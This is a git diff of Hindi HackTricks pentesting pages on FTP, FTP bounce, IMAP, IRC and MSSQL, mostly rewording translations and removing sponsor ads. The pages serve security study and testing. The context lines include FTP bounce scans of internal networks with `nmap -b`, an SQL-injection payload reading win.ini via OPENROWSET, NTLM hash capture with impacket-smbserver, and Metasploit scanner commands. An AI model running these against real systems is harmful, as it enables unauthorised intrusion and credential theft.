आप एक ब्राउज़र (जैसे Firefox) का उपयोग करके एक FTP सर्वर से एक URL के माध्यम से कनेक्ट कर सकते हैं:
|
||||
आप एक ब्राउज़र (जैसे Firefox) का उपयोग करके एक FTP सर्वर से कनेक्ट कर सकते हैं, एक URL का उपयोग करके जैसे:
|
||||
```bash
|
||||
ftp://anonymous:anonymous@10.10.10.98
|
||||
```
|
||||
|
@ -152,7 +144,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
|||
* **`USER username`**
|
||||
* **`PASS password`**
|
||||
* **`HELP`** सर्वर यह संकेत करता है कि कौन से कमांड समर्थित हैं
|
||||
* \*\*`PORT 127,0,0,1,0,80`\*\*यह FTP सर्वर को IP 127.0.0.1 पर पोर्ट 80 के साथ कनेक्शन स्थापित करने के लिए संकेत देगा (_आपको 5वां अक्षर "0" और 6वां दशमलव में पोर्ट के रूप में रखना होगा या पोर्ट को हेक्स में व्यक्त करने के लिए 5वां और 6वां उपयोग करना होगा_)।
|
||||
* \*\*`PORT 127,0,0,1,0,80`\*\*यह FTP सर्वर को IP 127.0.0.1 पर पोर्ट 80 के साथ कनेक्शन स्थापित करने के लिए संकेत देगा (_आपको 5वां अक्षर "0" और 6वां दशमलव में पोर्ट के रूप में रखना होगा या 5वें और 6वें का उपयोग करके पोर्ट को हेक्स में व्यक्त करना होगा_)।
|
||||
* \*\*`EPRT |2|127.0.0.1|80|`\*\*यह FTP सर्वर को IP 127.0.0.1 पर पोर्ट 80 के साथ TCP कनेक्शन स्थापित करने के लिए संकेत देगा (_"2" द्वारा संकेतित_)। यह कमांड **IPv6 का समर्थन करता है**।
|
||||
* **`LIST`** यह वर्तमान फ़ोल्डर में फ़ाइलों की सूची भेजेगा
|
||||
* **`LIST -R`** पुनरावृत्त सूची (यदि सर्वर द्वारा अनुमति दी गई हो)
|
||||
|
@ -177,7 +169,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
|||
सिद्धांत सरल है:
|
||||
|
||||
1. **कमजोर सर्वर पर अनुरोध (एक टेक्स्ट फ़ाइल के अंदर) अपलोड करें।** याद रखें कि यदि आप किसी अन्य HTTP या FTP सर्वर से बात करना चाहते हैं तो आपको `0x0d 0x0a` के साथ पंक्तियों को बदलना होगा
|
||||
2. **`REST X` का उपयोग करें ताकि आप उन अक्षरों को न भेजें जिन्हें आप नहीं भेजना चाहते** (शायद फ़ाइल के अंदर अनुरोध अपलोड करने के लिए आपको शुरुआत में कुछ इमेज हेडर डालना पड़ा)
|
||||
2. **आप जिस वर्ण को भेजना नहीं चाहते हैं उसे भेजने से बचने के लिए `REST X` का उपयोग करें** (शायद फ़ाइल के अंदर अनुरोध अपलोड करने के लिए आपको शुरुआत में कुछ इमेज हेडर डालने की आवश्यकता थी)
|
||||
3. **मनमाने सर्वर और सेवा से कनेक्ट करने के लिए `PORT` का उपयोग करें**
|
||||
4. **सर्वर को सहेजे गए अनुरोध को भेजने के लिए `RETR` का उपयोग करें।**
|
||||
|
||||
|
@ -190,9 +182,9 @@ posts.txt
|
|||
{% endfile %}
|
||||
|
||||
* प्रयास करें कि **प्रोटोकॉल से संबंधित "जंक" डेटा के साथ अनुरोध को भरें** (FTP से बात करते समय शायद केवल जंक कमांड या फ़ाइल प्राप्त करने के लिए `RETR` निर्देश को दोहराना)
|
||||
* बस **अनुरोध को बहुत सारे शून्य अक्षरों या अन्य के साथ भरें** (पंक्तियों में विभाजित या नहीं)
|
||||
* बस **अनुरोध को बहुत सारे शून्य वर्णों या अन्य के साथ भरें** (पंक्तियों में विभाजित या नहीं)
|
||||
|
||||
वैसे भी, यहाँ आपके पास एक [पुराना उदाहरण है कि कैसे इसका दुरुपयोग करके एक FTP सर्वर को किसी अन्य FTP सर्वर से फ़ाइल डाउनलोड करने के लिए मजबूर करें।](ftp-bounce-download-2oftp-file.md)
|
||||
वैसे भी, यहाँ आपके पास एक [पुराना उदाहरण है कि कैसे इसका दुरुपयोग करके एक FTP सर्वर को किसी अन्य FTP सर्वर से फ़ाइल डाउनलोड करने के लिए मजबूर किया जा सकता है।](ftp-bounce-download-2oftp-file.md)
|
||||
|
||||
## Filezilla Server Vulnerability
|
||||
|
||||
|
@ -224,15 +216,6 @@ vsFTPd की डिफ़ॉल्ट कॉन्फ़िगरेशन `/et
|
|||
* `ftp`
|
||||
* `port:21`
|
||||
|
||||
***
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
|
@ -295,7 +278,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP};
|
|||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,31 +15,23 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## FTP Bounce - Scanning
|
||||
|
||||
### Manual
|
||||
|
||||
1. कमजोर FTP से कनेक्ट करें
|
||||
2. **`PORT`** या **`EPRT`** (लेकिन केवल इनमें से 1) का उपयोग करें ताकि यह _\<IP:Port>_ के साथ कनेक्शन स्थापित कर सके जिसे आप स्कैन करना चाहते हैं:
|
||||
2. _\<IP:Port>_ के साथ कनेक्शन स्थापित करने के लिए **`PORT`** या **`EPRT`** (लेकिन केवल इनमें से 1) का उपयोग करें:
|
||||
|
||||
`PORT 172,32,80,80,0,8080`\
|
||||
`EPRT |2|172.32.80.80|8080|`
|
||||
3. **`LIST`** का उपयोग करें (यह केवल जुड़े हुए _\<IP:Port>_ को FTP फ़ोल्डर में वर्तमान फ़ाइलों की सूची भेजेगा) और संभावित प्रतिक्रियाओं की जांच करें: `150 File status okay` (इसका मतलब है कि पोर्ट खुला है) या `425 No connection established` (इसका मतलब है कि पोर्ट बंद है)
|
||||
1. `LIST` के बजाय आप **`RETR /file/in/ftp`** का भी उपयोग कर सकते हैं और समान `Open/Close` प्रतिक्रियाओं की तलाश कर सकते हैं।
|
||||
4. `LIST` के बजाय आप **`RETR /file/in/ftp`** का भी उपयोग कर सकते हैं और समान `Open/Close` प्रतिक्रियाओं की तलाश कर सकते हैं।
|
||||
|
||||
उदाहरण **PORT** का उपयोग करते हुए (172.32.80.80 का पोर्ट 8080 खुला है और पोर्ट 7777 बंद है):
|
||||
|
||||
![](<../../.gitbook/assets/image (241).png>)
|
||||
|
||||
उसी उदाहरण में **`EPRT`** का उपयोग करते हुए (चित्र में प्रमाणीकरण छोड़ दिया गया):
|
||||
उसी उदाहरण में **`EPRT`** का उपयोग करते हुए (चित्र में प्रमाणीकरण छोड़ दिया गया है):
|
||||
|
||||
![](<../../.gitbook/assets/image (539).png>)
|
||||
|
||||
|
@ -53,22 +45,16 @@ nmap -b <name>:<pass>@<ftp_server> <victim>
|
|||
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
|
||||
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443
|
||||
```
|
||||
**ट्राई हार्ड सिक्योरिटी ग्रुप**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## इंटरनेट संदेश पहुंच प्रोटोकॉल
|
||||
|
||||
**इंटरनेट संदेश पहुंच प्रोटोकॉल (IMAP)** का उद्देश्य उपयोगकर्ताओं को **किसी भी स्थान से अपने ईमेल संदेशों तक पहुंचने** की अनुमति देना है, मुख्य रूप से इंटरनेट कनेक्शन के माध्यम से। वास्तव में, ईमेल **एक सर्वर पर बनाए रखे जाते हैं** बजाय इसके कि उन्हें डाउनलोड किया जाए और किसी व्यक्ति के व्यक्तिगत उपकरण पर संग्रहीत किया जाए। इसका मतलब है कि जब किसी ईमेल को एक्सेस या पढ़ा जाता है, तो यह **सर्वर से सीधे** किया जाता है। यह क्षमता **कई उपकरणों** से ईमेल की जांच करने की सुविधा प्रदान करती है, यह सुनिश्चित करते हुए कि किसी भी उपकरण का उपयोग करने पर कोई संदेश छूट न जाए।
|
||||
**इंटरनेट संदेश पहुंच प्रोटोकॉल (IMAP)** का उद्देश्य उपयोगकर्ताओं को **किसी भी स्थान से अपने ईमेल संदेशों तक पहुंचने** की अनुमति देना है, मुख्य रूप से इंटरनेट कनेक्शन के माध्यम से। मूल रूप से, ईमेल **एक सर्वर पर बनाए रखे जाते हैं** बजाय इसके कि उन्हें डाउनलोड किया जाए और किसी व्यक्ति के व्यक्तिगत उपकरण पर संग्रहीत किया जाए। इसका मतलब है कि जब किसी ईमेल को एक्सेस या पढ़ा जाता है, तो यह **सर्वर से सीधे** किया जाता है। यह क्षमता **कई उपकरणों** से ईमेल की जांच करने की सुविधा प्रदान करती है, यह सुनिश्चित करते हुए कि किसी भी उपकरण का उपयोग करने पर कोई संदेश छूट न जाए।
|
||||
|
||||
डिफ़ॉल्ट रूप से, IMAP प्रोटोकॉल दो पोर्ट पर काम करता है:
|
||||
|
||||
|
@ -112,7 +104,7 @@ apt install evolution
|
|||
|
||||
### CURL
|
||||
|
||||
बुनियादी नेविगेशन [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap) के साथ संभव है, लेकिन दस्तावेज़ विवरण में हल्का है, इसलिए सटीक विवरण के लिए [स्रोत](https://github.com/curl/curl/blob/master/lib/imap.c) की जांच करना अनुशंसित है।
|
||||
बुनियादी नेविगेशन [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap) के साथ संभव है, लेकिन दस्तावेज़ विवरण में हल्का है इसलिए सटीक विवरण के लिए [स्रोत](https://github.com/curl/curl/blob/master/lib/imap.c) की जांच करना अनुशंसित है।
|
||||
|
||||
1. मेलबॉक्स की सूची बनाना (imap कमांड `LIST "" "*"`)
|
||||
```bash
|
||||
|
@ -134,9 +126,9 @@ curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
|
|||
```bash
|
||||
curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
|
||||
```
|
||||
The mail index will be the same index returned from the search operation.
|
||||
The mail index वही इंडेक्स होगा जो खोज ऑपरेशन से वापस किया गया है।
|
||||
|
||||
यह भी संभव है कि संदेशों तक पहुँचने के लिए `UID` (विशिष्ट आईडी) का उपयोग किया जाए, हालाँकि यह कम सुविधाजनक है क्योंकि खोज आदेश को मैन्युअल रूप से स्वरूपित करने की आवश्यकता होती है। उदाहरण के लिए:
|
||||
यह संदेशों तक पहुँचने के लिए `UID` (विशिष्ट आईडी) का उपयोग करना भी संभव है, हालाँकि यह कम सुविधाजनक है क्योंकि खोज कमांड को मैन्युअल रूप से फॉर्मेट करना आवश्यक है। उदाहरण के लिए
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
|
||||
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
|
||||
|
@ -157,12 +149,6 @@ done
|
|||
* `port:143 CAPABILITY`
|
||||
* `port:993 CAPABILITY`
|
||||
|
||||
**ट्राई हार्ड सुरक्षा समूह**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
## HackTricks स्वचालित आदेश
|
||||
```
|
||||
Protocol_Name: IMAP #Protocol Abbreviation if there is one.
|
||||
|
@ -203,7 +189,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS {
|
|||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,27 +15,14 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या किसी कंपनी या उसके ग्राहकों को **स्टीलर मैलवेयर** द्वारा **समझौता** किया गया है।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मैलवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट पर जा सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Basic Information
|
||||
|
||||
IRC, प्रारंभ में एक **सादा पाठ प्रोटोकॉल**, को IANA द्वारा **194/TCP** आवंटित किया गया था लेकिन इसे आमतौर पर **6667/TCP** और समान पोर्ट पर चलाया जाता है ताकि संचालन के लिए **रूट विशेषाधिकार** की आवश्यकता न हो।
|
||||
IRC, प्रारंभ में एक **सादा पाठ प्रोटोकॉल**, को IANA द्वारा **194/TCP** आवंटित किया गया था लेकिन इसे सामान्यतः **6667/TCP** और समान पोर्ट्स पर चलाया जाता है ताकि संचालन के लिए **रूट विशेषाधिकार** की आवश्यकता न हो।
|
||||
|
||||
एक **निकनेम** ही एक सर्वर से कनेक्ट करने के लिए आवश्यक है। कनेक्शन के बाद, सर्वर उपयोगकर्ता के IP पर एक रिवर्स-DNS लुकअप करता है।
|
||||
एक **उपयोगकर्ता नाम** ही एक सर्वर से कनेक्ट करने के लिए आवश्यक है। कनेक्शन के बाद, सर्वर उपयोगकर्ता के IP पर एक रिवर्स-DNS लुकअप करता है।
|
||||
|
||||
उपयोगकर्ताओं को **ऑपरेटर** में विभाजित किया जाता है, जिन्हें अधिक पहुंच के लिए एक **यूजरनेम** और **पासवर्ड** की आवश्यकता होती है, और नियमित **उपयोगकर्ता**। ऑपरेटरों के पास विभिन्न स्तर के विशेषाधिकार होते हैं, जिसमें शीर्ष पर प्रशासक होते हैं।
|
||||
उपयोगकर्ताओं को **ऑपरेटरों** में विभाजित किया जाता है, जिन्हें अधिक पहुंच के लिए एक **उपयोगकर्ता नाम** और **पासवर्ड** की आवश्यकता होती है, और नियमित **उपयोगकर्ताओं** में। ऑपरेटरों के पास विभिन्न स्तर के विशेषाधिकार होते हैं, जिसमें प्रशासक शीर्ष पर होते हैं।
|
||||
|
||||
**डिफ़ॉल्ट पोर्ट:** 194, 6667, 6660-7000
|
||||
```
|
||||
|
@ -98,17 +85,6 @@ nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,66
|
|||
|
||||
* `आपका होस्टनेम देखना`
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** से प्रेरित सर्च इंजन है जो यह जांचने के लिए **फ्री** कार्यक्षमताएँ प्रदान करता है कि क्या किसी कंपनी या उसके ग्राहकों को **चोरी करने वाले मालवेयर** द्वारा **समझौता** किया गया है।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी चुराने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट देख सकते हैं और **फ्री** में उनके इंजन का प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,19 +15,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Basic Information
|
||||
|
||||
From [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
||||
|
||||
> **Microsoft SQL Server** एक **संबंधित डेटाबेस** प्रबंधन प्रणाली है जिसे Microsoft द्वारा विकसित किया गया है। एक डेटाबेस सर्वर के रूप में, यह एक सॉफ़्टवेयर उत्पाद है जिसका प्राथमिक कार्य डेटा को संग्रहीत करना और पुनः प्राप्त करना है जैसा कि अन्य सॉफ़्टवेयर अनुप्रयोगों द्वारा अनुरोध किया गया है—जो या तो उसी कंप्यूटर पर या नेटवर्क (जिसमें इंटरनेट शामिल है) पर किसी अन्य कंप्यूटर पर चल सकते हैं।\\
|
||||
> **Microsoft SQL Server** एक **संबंधित डेटाबेस** प्रबंधन प्रणाली है जिसे Microsoft द्वारा विकसित किया गया है। एक डेटाबेस सर्वर के रूप में, यह एक सॉफ़्टवेयर उत्पाद है जिसका प्राथमिक कार्य डेटा को संग्रहीत करना और पुनः प्राप्त करना है जैसा कि अन्य सॉफ़्टवेयर अनुप्रयोगों द्वारा अनुरोध किया गया है—जो या तो उसी कंप्यूटर पर चल सकते हैं या नेटवर्क (जिसमें इंटरनेट शामिल है) पर किसी अन्य कंप्यूटर पर।\\
|
||||
|
||||
**डिफ़ॉल्ट पोर्ट:** 1433
|
||||
```
|
||||
|
@ -37,8 +29,8 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
|||
|
||||
* **master Database**: यह डेटाबेस महत्वपूर्ण है क्योंकि यह SQL Server उदाहरण के लिए सभी सिस्टम-स्तरीय विवरण कैप्चर करता है।
|
||||
* **msdb Database**: SQL Server एजेंट इस डेटाबेस का उपयोग अलर्ट और नौकरियों के लिए शेड्यूलिंग प्रबंधित करने के लिए करता है।
|
||||
* **model Database**: SQL Server उदाहरण पर हर नए डेटाबेस के लिए एक ब्लूप्रिंट के रूप में कार्य करता है, जहां आकार, कोलेशन, रिकवरी मॉडल, और अधिक जैसे किसी भी परिवर्तन को नए बनाए गए डेटाबेस में दर्शाया जाता है।
|
||||
* **Resource Database**: एक पढ़ने के लिए केवल डेटाबेस है जो SQL Server के साथ आने वाले सिस्टम ऑब्जेक्ट्स को रखता है। ये ऑब्जेक्ट्स, जबकि भौतिक रूप से Resource डेटाबेस में संग्रहीत होते हैं, हर डेटाबेस के sys स्कीमा में तार्किक रूप से प्रस्तुत किए जाते हैं।
|
||||
* **model Database**: SQL Server उदाहरण पर हर नए डेटाबेस के लिए एक ब्लूप्रिंट के रूप में कार्य करता है, जहाँ आकार, कोलेशन, रिकवरी मॉडल, और अधिक जैसे किसी भी परिवर्तन को नए बनाए गए डेटाबेस में दर्शाया जाता है।
|
||||
* **Resource Database**: एक पढ़ने के लिए केवल डेटाबेस है जो SQL Server के साथ आने वाले सिस्टम ऑब्जेक्ट्स को रखता है। ये ऑब्जेक्ट्स, जबकि भौतिक रूप से Resource डेटाबेस में संग्रहीत होते हैं, हर डेटाबेस के sys स्कीमा में तार्किक रूप से प्रस्तुत होते हैं।
|
||||
* **tempdb Database**: अस्थायी ऑब्जेक्ट्स या मध्यवर्ती परिणाम सेट के लिए एक अस्थायी संग्रहण क्षेत्र के रूप में कार्य करता है।
|
||||
|
||||
## Enumeration
|
||||
|
@ -105,7 +97,7 @@ sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
|
|||
1> select 1;
|
||||
2> go
|
||||
```
|
||||
#### सामान्य सूचीकरण
|
||||
#### सामान्य एन्यूमरेशन
|
||||
```sql
|
||||
# Get version
|
||||
select @@version;
|
||||
|
@ -160,7 +152,7 @@ SELECT * FROM sysusers
|
|||
|
||||
1. **Securable:** SQL Server द्वारा पहुँच नियंत्रण के लिए प्रबंधित संसाधनों के रूप में परिभाषित। इन्हें निम्नलिखित श्रेणियों में वर्गीकृत किया गया है:
|
||||
* **सर्वर** – उदाहरणों में डेटाबेस, लॉगिन, एंडपॉइंट, उपलब्धता समूह, और सर्वर भूमिकाएँ शामिल हैं।
|
||||
* **डेटाबेस** – उदाहरणों में डेटाबेस भूमिका, एप्लिकेशन भूमिकाएँ, स्कीमा, प्रमाणपत्र, पूर्ण पाठ कैटलॉग, और उपयोगकर्ता शामिल हैं।
|
||||
* **डेटाबेस** – उदाहरणों में डेटाबेस भूमिका, अनुप्रयोग भूमिकाएँ, स्कीमा, प्रमाणपत्र, पूर्ण पाठ कैटलॉग, और उपयोगकर्ता शामिल हैं।
|
||||
* **स्कीमा** – इसमें तालिकाएँ, दृश्य, प्रक्रियाएँ, कार्य, पर्यायवाची, आदि शामिल हैं।
|
||||
2. **अनुमति:** SQL Server securables से संबंधित, ALTER, CONTROL, और CREATE जैसी अनुमतियाँ एक प्रमुख को दी जा सकती हैं। अनुमतियों का प्रबंधन दो स्तरों पर होता है:
|
||||
* **सर्वर स्तर** लॉगिन का उपयोग करके
|
||||
|
@ -238,7 +230,7 @@ sudo impacket-smbserver share ./ -smb2support
|
|||
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
आप यह जांच सकते हैं कि कौन (sysadmins के अलावा) उन MSSQL फ़ंक्शनों को चलाने की अनुमति रखता है:
|
||||
आप यह जांच सकते हैं कि कौन (सिस्टम प्रशासकों के अलावा) उन MSSQL कार्यों को चलाने की अनुमति रखता है:
|
||||
```sql
|
||||
Use master;
|
||||
EXEC sp_helprotect 'xp_dirtree';
|
||||
|
@ -256,7 +248,7 @@ EXEC sp_helprotect 'xp_fileexist';
|
|||
|
||||
### MSSQL ट्रस्टेड लिंक का दुरुपयोग
|
||||
|
||||
[**इस पोस्ट को पढ़ें**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **इस फीचर का दुरुपयोग कैसे करें, इसके बारे में अधिक जानकारी के लिए:**
|
||||
[**इस पोस्ट को पढ़ें**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **इस फीचर के दुरुपयोग के बारे में अधिक जानकारी के लिए:**
|
||||
|
||||
{% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %}
|
||||
[abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
|
||||
|
@ -284,7 +276,7 @@ EXECUTE sp_OADestroy @OLE
|
|||
```
|
||||
### **फाइल पढ़ें** OPENROWSET के साथ
|
||||
|
||||
डिफ़ॉल्ट रूप से, `MSSQL` फाइल **पढ़ने की अनुमति देता है किसी भी फाइल पर ऑपरेटिंग सिस्टम में जिसे खाते के पास पढ़ने की पहुंच है**। हम निम्नलिखित SQL क्वेरी का उपयोग कर सकते हैं:
|
||||
डिफ़ॉल्ट रूप से, `MSSQL` किसी भी फ़ाइल पर **पढ़ने की अनुमति देता है जिसमें खाते को पढ़ने की पहुंच है**। हम निम्नलिखित SQL क्वेरी का उपयोग कर सकते हैं:
|
||||
```sql
|
||||
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
|
||||
```
|
||||
|
@ -297,9 +289,9 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTE
|
|||
```
|
||||
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
||||
```
|
||||
### **RCE/फाइलें पढ़ना स्क्रिप्ट चलाना (Python और R)**
|
||||
### **RCE/फाइलें पढ़ना स्क्रिप्ट्स चलाना (Python और R)**
|
||||
|
||||
MSSQL आपको **Python और/या R** में **स्क्रिप्ट्स** चलाने की अनुमति दे सकता है। ये कोड **xp\_cmdshell** का उपयोग करके कमांड चलाने वाले **विभिन्न उपयोगकर्ता** द्वारा चलाए जाएंगे।
|
||||
MSSQL आपको **Python और/या R** में **स्क्रिप्ट्स** चलाने की अनुमति दे सकता है। ये कोड एक **अलग उपयोगकर्ता** द्वारा चलाए जाएंगे जो **xp\_cmdshell** का उपयोग करके कमांड्स चलाने वाले से भिन्न है।
|
||||
|
||||
Example trying to execute a **'R'** _"Hellow World!"_ **काम नहीं कर रहा**:
|
||||
|
||||
|
@ -319,11 +311,11 @@ print(sys.version)
|
|||
'
|
||||
GO
|
||||
```
|
||||
### रजिस्ट्रि पढ़ें
|
||||
### रजिस्ट्र्री पढ़ें
|
||||
|
||||
